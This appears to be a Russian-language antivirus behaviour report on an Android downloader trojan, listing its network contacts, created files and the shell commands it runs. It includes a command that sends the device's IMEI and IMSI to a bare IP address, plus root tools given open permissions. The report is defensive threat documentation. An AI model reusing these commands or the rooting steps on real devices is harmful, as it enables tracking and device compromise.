Техническая информация
Вредоносные функции:
Загружает на исполнение код следующих детектируемых угроз:
- Android.DownLoader.589.origin
Сетевая активность:
Подключается к:
- UDP(DNS) <Google DNS>
- TCP(GCM) <Google Host>
- TCP(HTTP/1.1) 52.52.2####.56:80
- TCP(HTTP/1.1) a####.u####.com:80
- TCP(HTTP/1.1) go.hotw####.top:80
- TCP(HTTP/1.1) a####.shar####.cn:5566
- TCP(HTTP/1.1) a.appj####.com:80
- TCP(HTTP/1.1) 1####.76.224.67:80
- TCP(HTTP/1.1) cdnyxzf####.b0.a####.com:80
- TCP(HTTP/1.1) cdn.game####.org:80
Запросы DNS:
- a####.shar####.cn
- a####.u####.com
- a.appj####.com
- cdn.app.kac####.cn
- cdn.game####.org
- go.hotw####.top
- mt####.go####.com
Запросы HTTP GET:
- a####.shar####.cn:5566/date
- cdn.game####.org/strategy/base
- cdn.game####.org/strategy/loss_4.3
- cdn.game####.org/strategy/sul18
- cdnyxzf####.b0.a####.com/sfile/201708/04/all/cp_V2.8.5.txt
Запросы HTTP POST:
- a.appj####.com/ad-service/ad/mark
- go.hotw####.top/cpgg/bgy/ih/osbs
- go.hotw####.top/cpgg/gqg/dlix
- go.hotw####.top/cpgg/gqoxn/ujtm
- go.hotw####.top/sdf/s
Изменения в файловой системе:
Создает следующие файлы:
- <Package Folder>/.jiagu/libjiagu.so
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/Matrix
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/ddexe
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/debuggerd
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/fileWork
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/insta...ery.sh
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/pidof
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/su
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/supolicy
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/toolbox
- <Package Folder>/app_3482c2bf-b1ec-4750-a815-62ac0ceddf05/wsroot.sh
- <Package Folder>/app_9036a555-a745-400c-b954-aed8917d916d/checker.jar
- <Package Folder>/app_jgls/.log.lock
- <Package Folder>/app_jgls/.log.ls
- <Package Folder>/app_lib/small.ogg
- <Package Folder>/app_lib/unobs
- <Package Folder>/app_plugin_download/9dbf0920-fbaf-4e8e-976e-451a8f3ad463
- <Package Folder>/app_plugin_download/f87904c1-f7ec-40e4-b4e6-dfac8959a606
- <Package Folder>/app_subox/32edd79a240b5f1e461d069caab1ec3e
- <Package Folder>/app_subox_download/0979b3e0-2344-4800-ab05-b5fb9b462039
- <Package Folder>/app_subox_download/37e1c109-41a3-4762-9c46-5d32fcfd3cc3
- <Package Folder>/app_subox_download/b7189a0f-75ae-48e9-830b-690c576ba6bd
- <Package Folder>/databases/sharesdk.db-journal
- <Package Folder>/databases/t_u.db-journal
- <Package Folder>/files/####/.jg.ic
- <Package Folder>/files/SUBOXLOG_
- <Package Folder>/files/am.jar
- <Package Folder>/files/mobclick_agent_cached_<Package>
- <Package Folder>/files/tg.jar
- <Package Folder>/shared_prefs/SlideShow_Data.xml
- <Package Folder>/shared_prefs/SlideShow_Data.xml.bak
- <Package Folder>/shared_prefs/jg_app_update_settings_random.xml
- <Package Folder>/shared_prefs/kr.xml
- <Package Folder>/shared_prefs/kr.xml.bak
- <Package Folder>/shared_prefs/mobclick_agent_header_<Package>.xml
- <Package Folder>/shared_prefs/mobclick_agent_state_<Package>.xml
- <Package Folder>/shared_prefs/mobclick_agent_state_<Package>.xml.bak
- <Package Folder>/shared_prefs/qihoo_jiagu_crash_report.xml
- <Package Folder>/shared_prefs/qsb.xml
- <Package Folder>/shared_prefs/share_sdk_0.xml
- <Package Folder>/shared_prefs/share_sdk_0.xml.bak
- <Package Folder>/shared_prefs/subox.xml
- <Package Folder>/shared_prefs/wv.xml
- <SD-Card>/Android/####/V2.8.5.txt
Другие:
Запускает следующие shell-скрипты:
- <Package Folder>/app_lib/unobs <Package> http://112.124.45.224/uninstall/?site=malbum&device_id=<IMEI>a967d2bb56f7kkapp&version=7.6.5&imsi=<IMSI>&channel=anzhi 0
- chmod 755 <Package Folder>/.jiagu/libjiagu.so
- chmod 775 <Package Folder>/app_lib/unobs
- chmod 777 Matrix ddexe debuggerd fileWork install-recovery.sh pidof su supolicy toolbox wsroot.sh
- sh
- sh <Package Folder>/app_lib/unobs <Package> http://112.124.45.224/uninstall/?site=malbum&device_id=<IMEI>a967d2bb56f7kkapp&version=7.6.5&imsi=<IMSI>&channel=anzhi 0
Загружает динамические библиотеки:
- _v454
- libjiagu
Использует следующие алгоритмы для шифрования данных:
- AES-ECB-PKCS7Padding
Использует следующие алгоритмы для расшифровки данных:
- DES
Использует специальную библиотеку для скрытия исполняемого байткода.
Осуществляет доступ к информации о сети.
Осуществляет доступ к информации о телефоне (номер, imei и тд.).
Осуществляет доступ к информации об установленных приложениях.
Осуществляет доступ к информации о запущенных приложениях.
Отрисовывает собственные окна поверх других приложений.
